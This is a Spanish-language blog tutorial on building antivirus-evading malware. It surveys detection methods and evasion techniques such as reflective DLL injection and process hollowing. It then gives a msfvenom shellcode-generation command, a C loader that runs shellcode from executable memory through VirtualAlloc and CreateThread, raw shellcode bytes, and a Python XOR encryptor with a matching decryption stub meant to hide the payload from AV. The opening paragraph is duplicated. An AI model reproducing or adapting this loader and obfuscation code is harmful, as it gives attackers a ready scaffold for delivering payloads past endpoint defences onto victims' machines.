Evasión AV/EDR | Desarrollo de programas maliciosos

Feb 18 2023
Hola, ¿Pensó antes cómo los piratas informáticos pueden evadir las soluciones antivirus? Construiremos juntos su primer malware básico que puede evadir AV y comprender algunos conceptos básicos. Para construir nuestro malware, necesitamos entender algunos conceptos básicos como: 1 — ¿Qué son los pasos del análisis de malware? 2 — Cómo AV o Anti-Virus detectan programas o códigos maliciosos 3 — ¿Qué son las técnicas de evasión de AV (en el escritorio, en memoria) 4 — Vamos Escriba nuestro Malware en "C" - Tiempo práctico ¿Cuáles son los pasos de análisis de malware? 1 — Análisis estático → Básicamente, sin ningún complejo, es el paso en el que comenzamos a analizar el malware o el programa sin abrirlo. Buscamos muchas cosas en el malware en el paso de análisis estático como (PE Header, Strings, File Information's).

Hola, ¿Pensó antes cómo los piratas informáticos pueden evadir las soluciones antivirus? Construiremos juntos su primer malware básico que puede evadir AV y comprender algunos conceptos básicos.

Para construir nuestro malware necesitamos entender algunos conceptos básicos como:

1 — ¿Qué son los pasos del análisis de malware?
2 — Cómo el AV o el antivirus detectan programas o códigos maliciosos
3 — ¿Qué son las técnicas de evasión de AV (en el escritorio, en memoria)
4 — Escribamos nuestro malware en “C” — Tiempo práctico

¿Qué son los pasos de análisis de malware?

1 — Análisis estático → Básicamente, sin ningún complejo, es el paso en el que comenzamos a analizar el malware o el programa sin abrirlo. Buscamos muchas cosas en el malware en el paso de análisis estático como (PE Header, Strings, File Information's).

2 — Análisis dinámico → Ahora podemos decir que es el proceso en el que analizamos el malware después de ejecutarlo. Buscamos muchas cosas como "Cambios en el sistema" y "Monitoreo de comportamientos" para ver qué hace el malware.

En esta imagen hay un análisis dinámico simple que analiza el tráfico de red.

Nota: Hay 4 pasos después de que hay (Análisis estático - Análisis dinámico - Análisis estático avanzado - Análisis dinámico avanzado) Pero puede buscar :)

Ahora hablaremos sobre cómo AV Detect Malwares.

Anti-Virus Tiene 3 pasos principales para detectar los malwares:

1 — Detección basada en firmas → Esta técnica consiste en comparar archivos y tráfico de red con una base de datos de firmas de malware conocidas. Si se encuentra una coincidencia, el archivo o el tráfico se marcan como potencialmente maliciosos.

En esta imagen, verá algunos maleficios, por ejemplo, si el AV compara una parte de estos maleficios, sabrá si es malicioso ...

2 — Detección basada en heurística → Esta técnica implica el uso de aprendizaje automático e inteligencia artificial para analizar el comportamiento de los archivos y el tráfico de red. Si un archivo o tráfico exhibe un comportamiento sospechoso, puede marcarse como potencialmente malicioso. También esta técnica puede decir que está leyendo las instrucciones del código.

3 — Detección basada en el comportamiento → Esta técnica consiste en analizar el comportamiento de los archivos y el tráfico de red a lo largo del tiempo para identificar patrones de actividad maliciosa. Si un archivo o tráfico exhibe un comportamiento que es significativamente diferente de lo esperado, se puede marcar como potencialmente malicioso.

En esta imagen, estamos monitoreando las tareas, cuando el av siente que hay muchas tareas abiertas o potencialmente maliciosas, lo detectará la "Detección basada en el comportamiento"

Técnicas de evasión AV:

Tenemos 2 temas principales (en el escritorio - En la memoria) como:

(1) En el escritorio:

  • Empaquetadores → Empaquetar malware es como comprimir el archivo para que contenga nuevas instrucciones y un tamaño de archivo que evade la "detección basada en firmas"
  • Ofuscadores → Oculta las funciones incluidas en la lista negra, por ejemplo (VirtualAlloc — VirtualProtect, y más…) que evadirán la "Detección heurística" de que sus instrucciones no se pueden leer bien desde AV Solution
  • Protectors → Que complejizando el proceso de ingeniería inversa del malware, The Protectors es una aplicación normal que no fue diseñada para usar en Evasion pero es útil

Inyección de memoria de proceso remoto: inyectamos nuestro proceso o carga útil en un proceso normal, para usar esta técnica necesitamos algunas API como:

Inyección reflexiva de DLL: técnica de inyección que permite cargar una DLL en la memoria de un proceso sin llamar a las API estándar de Windows para cargar DLL. Esto puede ser útil en situaciones en las que los métodos tradicionales de inyección de DLL no son posibles debido a restricciones o medidas de seguridad. Reflective DLL Injection funciona mediante el uso de una técnica conocida como mapeo manual. La idea básica es asignar la DLL a la memoria y ejecutarla directamente, sin usar las llamadas API estándar de Windows. Esto permite que la DLL se ejecute sin activar alertas de seguridad ni ser detectada por el software antivirus.

Vaciado del proceso: hacemos un proceso falso que ocupa espacio, luego lo detenemos y cambiamos su contenido a nuestra carga útil y continuamos el proceso nuevamente con su nueva instrucción y contenido

Inline Hooking: es una técnica que consiste en modificar el código de un proceso mientras se ejecuta en memoria. Esto se hace redirigiendo las llamadas a funciones desde el código original a una ubicación diferente en la memoria.

Hay más técnicas pero estas son las técnicas famosas que se utilizan.

Escritura de Malware básico.

En cualquier malware, ponemos primero el código de shell, entonces, ¿qué es el código de shell? → son algunos bytes que la CPU y la RAM pueden entender, el shellcode contiene un proceso que desea y para generarlo puede abrir su terminal y escribir ...

msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -i 10 -f c

Entonces, ¿cómo ponerlo en nuestro código c? Fácilmente lo pondrás en una variable como esta:

unsigned char shellcode[] = {"Put here your shellcode"};
unsigned int shellcode_len = sizeof(shellcode); // To get the size of the shellcode

void main() /* The Main Function */

{
        void* exec_mem; // Memory Buffer For Payload/Shellcode 
        HANDLE th; 
        DWORD oldprotect = 0;

        exec_mem = VirtualAlloc(0, shellcode_len , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); /* Allocate a memory buffer for payload */
        RtlMoveMemory(exec_mem, shellcode, shellcode_len); /* Copy/Move payload to buffer or Memory */

        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);

    

}

¡Es Detectable Correcto!

Ofuscación y cifrado de malware para que sea indetectable.

Entonces, si escribes el código que mencioné antes y si intentaste Runit, ¡te dirá que es un virus! ¿Entonces que haremos?

Lo primero que fue malicioso es que el código es el "código de shell", por lo que debemos encriptarlo y ofuscarlo para que sea incomprensible para AV Solutions, por lo que debemos encriptarlo, ¿PERO CÓMO?

Hagamos un pequeño script de python que cifre los shellcodes y hagamos la salida en formato C.

# Put your shellcode in data variable.

data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

key  = 0x50 # Put here your key as byte like for example (0x90 or 0x40 or 0x30) and more...

print('{ ', end='')
for i in data:
    print(hex(i ^ key), end=', ')

print("0x0 };") # Notice that it adds one byte "0x0" to the end.

Entonces, ahora puedes cambiar tu shellcode, será así

unsigned char shellcode[] = {0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };

Entonces, necesitamos agregar la función de descifrado, será así:

/* The Decryption Function */

void decrypt(char* shell, int nSize)
{
    for (int i = 0; i < nSize; i++)
    {
        shell[i] = shell[i] ^ KEY;
    }

}

#define SIZEOF(x) sizeof(x) - 1
#define KEY 0x50

unsigned char shellcode[] = {0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };
unsigned int shellcode_len = SIZEOF(shellcode);

decrypt(shellcode, shellcode_len);

1 — VirtualAlloc
2 — CreateThread
3 — RtlMoveMemory

¡Estas funciones están en la lista negra del antivirus y debemos ofuscarlas! pero añadiremos muchas cosas.

Continuará más tarde…